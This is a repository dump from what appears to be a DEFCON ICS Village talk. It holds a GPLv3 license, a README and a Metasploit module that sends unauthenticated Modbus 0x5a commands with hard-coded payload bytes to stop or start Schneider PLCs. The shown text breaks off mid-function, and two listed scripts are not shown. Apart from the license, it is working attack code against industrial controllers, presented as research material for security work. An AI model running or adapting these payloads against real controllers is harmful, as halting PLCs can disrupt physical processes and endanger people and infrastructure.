├── LICENSE
├── README.md
├── modicon_command_CTv2.rb
├── modicon_stux_transfer_ASO.rb
└── schneider.rb
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 | {one line to give the program's name and a brief idea of what it does.}
635 | Copyright (C) {year} {name of author}
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | {project} Copyright (C) {year} {fullname}
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # funwithmodbus0x5a
2 |
3 | Material from my ICS Village talk at DEFCON 25
4 |
5 | *This is a temporary repo to store and make available the tools used during the talks*
6 |
7 | *The scripts should be finalized and integrated into Metasploit*
8 |
9 | # Talks
10 | The slides are located on [Google Slides](https://docs.google.com/presentation/d/1K79add5Nqdlh8rBa2XrvcmSOGvPCnQE-leJSrkkKH5E/edit?usp=sharing)
11 | Some demo videos can be found [here](https://drive.google.com/drive/folders/0BwnYYhA62txMOTZibnlOckdFcHM?usp=sharing)
12 |
13 | # Description
14 | + `modicon_stux_transfer_ASO.rb`: allows downloading a program from the PLC
15 | + `schneider.rb`: allows to gather information about the PLC (*GATHER_INFOS*) and to force the values of the digital outputs (*M340_FORCE_OUTPUTS*)
16 | + `modicon_command_CTv2.rb`: work by Alexandrine TORRENTS to allow START/STOP on TM221 PLCs.
17 |
--------------------------------------------------------------------------------
/modicon_command_CTv2.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http://metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 |
8 | class MetasploitModule < Msf::Auxiliary
9 |
10 | include Msf::Exploit::Remote::Tcp
11 | include Rex::Socket::Tcp
12 |
13 | def initialize(info = {})
14 | super(update_info(info,
15 | 'Name' => 'Schneider Remote START/STOP Command',
16 | 'Description' => %q{
17 | The Schneider with SoMachine Basic or Unity series of PLCs use Modbus function
18 | code 90 (0x5a) to perform administrative commands without authentication.
19 | This module allows a remote user to change the state of the PLC between
20 | STOP and RUN, allowing an attacker to end process control by the PLC.
21 |
22 | This module is based on the original 'modiconstop.rb' Basecamp module from
23 | DigitalBond.
24 | },
25 | 'Author' =>
26 | [
27 | 'K. Reid Wightman ', # original module
28 | 'todb', # Metasploit fixups
29 | 'Alexandrine Torrents ' # new module for Schneider TM221
30 | ],
31 | 'License' => MSF_LICENSE,
32 | 'References' =>
33 | [
34 | [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
35 | ],
36 | 'DisclosureDate' => 'Apr 5 2012'
37 | ))
38 | register_options(
39 | [
40 | OptEnum.new("MODE", [true, 'PLC command', "STOP",
41 | [
42 | "STOP",
43 | "RUN"
44 | ]
45 | ]),
46 | Opt::RPORT(502)
47 | ], self.class)
48 |
49 | end
50 |
51 | # this is used for building a Modbus frame
52 | # just prepends the payload with a modbus header
53 | def makeframe(packetdata)
54 | if packetdata.size > 255
55 | print_error("packet too large, sorry")
56 | print_error("Offending packet: " + packetdata)
57 | return
58 | end
59 | payload = ""
60 | payload += [@modbuscounter].pack("n")
61 | payload += "\x00\x00\x00" #dunno what these are
62 | payload += [packetdata.size].pack("c") # size byte
63 | payload += packetdata
64 | end
65 |
66 | # a wrapper just to be sure we increment the counter
67 | def sendframe(payload)
68 | sock.put(payload)
69 | @modbuscounter += 1
70 | r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
71 | return r
72 | end
73 |
74 | def stop_TM221
75 | payload = "\x01\x5a\xc9\x41\xff\x00"
76 | sendframe(makeframe(payload))
77 | end
78 |
79 | def start_TM221
80 | payload2 = "\x00\x75\x01\x82\x00\x00\x01\x01\x02"
81 | payload = "\x01\x5a\xc9\x40\xff\x00"
82 | sendframe(makeframe(payload))
83 | sendframe(makeframe(payload2))
84 | end
85 |
86 | # This function sends some initialization requests
87 | # I have no idea what these do, but they seem to be
88 | # needed to get the Modicon chatty with us.
89 | # I would make some analogy to 'gaming' in the
90 | # bar-dating scene, but I'll refrain.
91 | def init_modicon
92 | payload = "\x00\x5a\x00\x02"
93 | sendframe(makeframe(payload))
94 | payload = "\x00\x5a\x00\x01\x00"
95 | sendframe(makeframe(payload))
96 | payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
97 | sendframe(makeframe(payload))
98 | payload = "\x00\x5a\x00\x03\x00"
99 | sendframe(makeframe(payload))
100 | payload = "\x00\x5a\x00\x03\x04"
101 | sendframe(makeframe(payload))
102 | payload = "\x00\x5a\x00\x04"
103 | sendframe(makeframe(payload))
104 | payload = "\x00\x5a\x00\x01\x00"
105 | sendframe(makeframe(payload))
106 | payload = "\x00\x5a\x00\x0a\x00"
107 | (0..0xf9).each { |x| payload += [x].pack("c") }
